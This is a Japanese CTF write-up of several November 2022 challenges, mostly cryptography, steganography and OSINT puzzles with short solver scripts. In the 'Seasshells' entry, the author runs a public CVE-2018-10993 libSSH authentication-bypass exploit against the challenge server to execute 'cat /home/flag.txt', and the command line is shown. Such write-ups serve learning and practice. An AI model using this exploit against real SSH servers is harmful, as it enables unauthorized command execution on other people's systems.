この大会は2022/11/19 8:00(JST)~2022/11/21 8:00(JST)に開催されました。
今回もチームで参戦。結果は1675点で441チーム中41位でした。
自分で解けた問題をWriteupとして書いておきます。
th(REEEEEEEEEEEEEEE) (Misque 50)
ファイルを見ると、Gコードで3Dを表しているようだった。https://ncviewer.com/で読み込み、向きを色々変えると、フラグが現れた。
DOCTF{TH1S_CTF_N0W_1N_3D}
Zazu vs. Carl - 1 (OSINT - Zazu 50)
このエンブレムには、CHATEAU D'OEXと書いてある。また、列車の横や建物にMOBと書いてある。調べると、スイスのモントルー・オーベルラン・ベルノワ鉄道ということがわかる。この鉄道会社が見える駅は、Montreux。
DOCTF{montreux}
3 Seasshells (PWN 100)
$ nc 193.57.159.27 52777 SSH-2.0-libssh_0.8.1 Bye Bye
"SSH-2.0-libssh_0.8.1 vuln"で調べると、以下のエクスプロイトが見つかった。
CVE-2018-10993 libSSH authentication bypass exploit https://gist.github.com/mgeeky/a7271536b1d815acfb8060fd8b65bd5d
このエクスプロイトでOSコマンドを実行し、フラグを読み取る。
$ python3 cve-2018-10993.py -p 52777 -c "cat /home/flag.txt" 193.57.159.27 /usr/lib/python3/dist-packages/paramiko/transport.py:236: CryptographyDeprecationWarning: Blowfish has been deprecated "class": algorithms.Blowfish, :: CVE-2018-10993 libSSH authentication bypass exploit. Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication. Mariusz B. / mgeeky '18, <mb@binary-offensive.com> v0.1 DOCTF{Sh3cuR3_CH3Ll}
DOCTF{Sh3cuR3_CH3Ll}
Ye Auld-io (Audionography 50)
Audacityで開き、スペクトログラムを見ると、フラグを反転した文字列が見える。さらに「前後を反転」すると、フラグ文字列として読みやすい。
DOCTF{SM0L_SP3CTR0GR4M_1S_FUN}
Based pande (Steganography 50)
$ strings cutie.jpg -n 10 (((((((((((((((((((((((((((((((((((((((((((((((((( Xt$N7(J:aFh B?hF6kU|K8H 3v}J}[}pg8 RE9DVEZ7UDRuRDNzTDBvazRGVDNSRTBGfQ==
base64文字列があるので、デコードする。
$ echo RE9DVEZ7UDRuRDNzTDBvazRGVDNSRTBGfQ== | base64 -d DOCTF{P4nD3sL0ok4FT3RE0F}
DOCTF{P4nD3sL0ok4FT3RE0F}
It's hidden (Steganography 100)
Steganographyカテゴリのところに以下が書いてある。
It's hidden: '███████████████████████████'
このマスクのようなデータをcodes.txtとして保存する。このデータは、以下の2つの文字で構成されている。
b'\xe2\x80\x8b' b'\xe2\x96\x88'
ほとんどの文字がb'\xe2\x96\x88'。b'\xe2\x80\x8b'がたまに出てくるので、これを区切り文字として、b'\xe2\x96\x88'の長さをASCIIコードとしてデコードする。
#!/usr/bin/env python3 with open('codes.txt', 'rb') as f: codes = f.read() codes = codes.replace(b'\xe2\x80\x8b', b'A') codes = codes.replace(b'\xe2\x96\x88', b',') codes = codes.split(b',') flag = '' for code in codes: flag += chr(len(code)) print(flag)
DOCTF{UN3XP3CT3D_EMPTyN3S$}
Lightning Seeds (Cryptography 100)
seedの値は1000未満なので、ブルートフォースで復号する。
#!/usr/bin/env python import random with open('out.txt', 'r') as f: encrypted = f.read() enc = bytes.fromhex(encrypted) for seed in range(1000): random.seed(seed) flag = b'' for c in enc: flag += bytes([c ^ random.randint(0, 255)]) if flag.startswith(b'DOCTF{'): flag = flag.decode() print(flag) break
DOCTF{n0t_4s_r4nd0m_4s_y0u_th1nk!}
Numbers Station (Cryptography 50)
1始まりのアルファベットのインデックスとしてデコードする。
whata weird stati on
DOCTF{whataweirdstation}
Nintendhash (Cryptography 150)
衝突しやすそうなので、nonceを0からブルートフォースで求める。
#!/usr/bin/env python3 import ninhash message = b"To catch them is my real test. To train them is my cause." digest = ninhash.Nintendhash(message) for nonce in range(2**64): try_msg = message + nonce.to_bytes(8, byteorder='big') try_digest = ninhash.Nintendhash(try_msg) if try_digest == digest: flag = 'DOCTF{%d}' % nonce print(flag) break
DOCTF{135441}
The Rat (Cryptography 100)
DTMFが含まれているので、mp3をwavに変換した後、http://dialabc.com/sound/detect/index.htmlでデコードする。
00442896496852
"tel +44 28 9649 6852"で調べると、Northern Irelandの電話番号であることがわかる。
DOCTF{northern_ireland}
Essence of Symmetry (Cryptography 100)
暗号化処理の概要は以下の通り。
・m, n = 21, 22 ・content: flag.txtの内容 ・L: contentの前半 ・R: contentの後半 ・x = "" ・Lの長さだけ、以下繰り返し(i: インデックス) ・Rの各文字とmとのXOR文字列のi番目とLのi番目とのXORをxに連結 ・y = R ・L, R = y, x ・x = "" ・Lの長さだけ、以下繰り返し(i: インデックス) ・Rの各文字とnとのXOR文字列のi番目とLのi番目とのXORをxに連結 ・y = R ・ciphertext = x + y →cipher.txtに書き込み
逆算していけばよい。
#!/usr/bin/env python3 m, n = 21, 22 with open('cipher.txt', 'rb') as f: ciphertext = f.read() l = len(ciphertext) // 2 x = ciphertext[:l] y = ciphertext[l:] R = y L = b'' for i in range(l): L += bytes([(R[i] ^ n) ^ x[i]]) x, y = R, L R = y L = b'' for i in range(l): L += bytes([(R[i] ^ m) ^ x[i]]) flag = (L + R).decode() print(flag)
DOCTF{1TS_4_F3I$TIV4L_0F_S0RT$}
Hacker's Gambit (Cryptography 50)
問題タイトルのGambitを調べてみると、チェスの位置を示すものが見つかった。
https://en.wikipedia.org/wiki/Mar%C3%B3czy_Gambit
開始位置を順に調べてみる。
c8: black bishop f8: black bishop h8: black rook g8: black knight d8: black queen a8: black rook b8: black knight e8: black king
それぞれ先頭の文字をつなぐと、フラグになる。
DOCTF{BBRKQRKK}
This isn't bitrot (Cryptography 50)
換字式暗号と推測して、quipqiupで復号する。
WITHOUT TRAINING, THEY LACKED KNOWLEDGE. WITHOUT KNOWLEDGE, THEY LACKED CONFIDENCE. WITHOUT CONFIDENCE, THEY LACKED VICTORY. YOUR FLAG IS ROT DOES NOT A CRYPTO MAKE, IN LOWERCASE, WITH UNDERSCORES INSTEAD OF SPACES, SURROUNDED BY THE USUAL FLAG TAG AND OPEN AND CLOSED BRACKETS. ENJOY.
復号した説明通り、"ROT DOES NOT A CRYPTO MAKE"を小文字にし、スペースを_に置換し、通常のフラグのタグとブラケットを付ける。
DOCTF{rot_does_not_a_crypto_make}